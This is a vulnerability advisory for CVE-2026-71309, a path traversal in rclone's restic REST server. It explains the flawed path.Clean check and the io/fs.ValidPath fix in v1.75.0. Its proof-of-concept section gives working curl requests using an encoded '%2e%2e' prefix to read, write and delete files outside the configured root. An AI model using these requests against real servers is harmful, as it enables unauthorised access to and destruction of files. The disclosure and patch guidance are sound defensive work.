highCVE-2026-71309Aug 5, 2026

CVE-2026-71309: rclone serve restic Path Traversal Backend Root Escape

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A flaw in rclone's restic REST server lets anyone with access to the endpoint read, write, or delete files outside the storage path the operator configured, by sending a URL starting with an encoded…

Packagegithub.com/rclone/rclone
Ecosystemgo
Affected>= 1.40.0, < 1.75.0
Fixed in1.75.0
CVE-2026-71309: rclone serve restic Path Traversal Backend Root Escape

The problem

The WithRemote middleware in cmd/serve/restic/restic.go is meant to block path traversal before any backend sees the request. It trims slashes and then compares the decoded path against path.Clean(urlpath). The intent is sound, but path.Clean preserves leading parent components in a relative path, so path.Clean("../x") == "../x" and the check silently passes.

Once accepted, the unsafe path is stored in the request context and forwarded without a second containment check to every backend operation: GET, POST, and DELETE all use it directly. Backends such as WebDAV, FTP, SFTP, HTTP, and Memory each join their configured root with the attacker-controlled value using path.Join, which resolves the ../ and removes the root, reaching objects the operator never intended to expose.

Proof of concept

A working proof-of-concept for CVE-2026-71309 in github.com/rclone/rclone, with the exact payload below.

bash
# Read a file outside the served root
curl --path-as-is -i 'http://127.0.0.1:39501/%2e%2e/outside-secret.txt'

# Write a file outside the served root
curl --path-as-is -i -X POST \
  'http://127.0.0.1:39501/%2e%2e/outside-write.txt' \
  --data-binary 'ATTACKER-CONTROLLED-OUTSIDE-ROOT'

# Delete a file outside the served root
curl --path-as-is -i -X DELETE \
  'http://127.0.0.1:39501/%2e%2e/outside-write.txt'

# Internal traversal (correctly blocked, returns HTTP 400)
curl --path-as-is -i 'http://127.0.0.1:39501/a/../../outside-secret.txt'

The bypass works because Go's path.Clean is not a containment validator. For a relative path that already starts with .., clean output equals input, so the equality check path.Clean(urlpath) != urlpath evaluates to false and the middleware lets the request through.

The encoded form %2e%2e is decoded by the HTTP layer before WithRemote receives the string, so no double-encoding trick is required.

The patch at commit cc5a189f replaces the flawed path.Clean comparison with io/fs.ValidPath, which explicitly rejects any path segment equal to . or .., covering leading, trailing, and interior parent components. The fix also adds a special case for the empty path (the API root) that the old code handled implicitly.

The fix

Upgrade to rclone v1.75.0, which applies commit cc5a189f00efe68ed0ddb32d3237b42549a9f264. The patched WithRemote uses io/fs.ValidPath to reject any path containing . or .. segments before the value is stored in the request context. If an immediate upgrade is not possible, restrict network access to the rclone serve restic endpoint to trusted clients only, and avoid publishing a backend subdirectory (configuring the backend root itself rather than a child path removes the lateral escape surface, though it does not fix the flaw).

Reported by Caubi Loureiro, Vorpcel Research.

References: [1][2][3][4]

Related research